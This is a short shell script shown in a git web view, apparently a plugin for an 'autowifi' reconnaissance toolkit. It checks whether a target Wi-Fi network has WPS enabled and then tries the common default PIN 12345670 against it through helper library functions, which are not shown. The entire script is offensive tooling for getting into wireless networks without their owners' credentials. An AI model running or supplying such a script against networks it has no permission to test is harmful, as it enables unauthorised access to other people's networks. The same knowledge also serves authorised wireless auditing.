summaryrefslogtreecommitdiffstats
path: root/recon/autowifi/plugins/30default_wps
blob: 50ad2676f2172bfeb53204b4f5f231345dcac55e (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/sh
# on MANY WPS-enabled devices the pin is 12345670 , so we can give it a shot
# http://www.wotan.cc/?p=75
cd $(dirname $(readlink -f $0))
. ../lib/wps
. ../lib/plugin_core

parse_plugin_args "$@"
check_painmode
DEFAULT_PIN="${DEFAULT_PIN:-12345670}"

if has_wps "$ENC"; then
    echo "trying PIN $DEFAULT_PIN against $ESSID" >&2
    try_wps_pin "$@" $DEFAULT_PIN
else
    echo "Network $ESSID not WPS enabled"
    exit 1
fi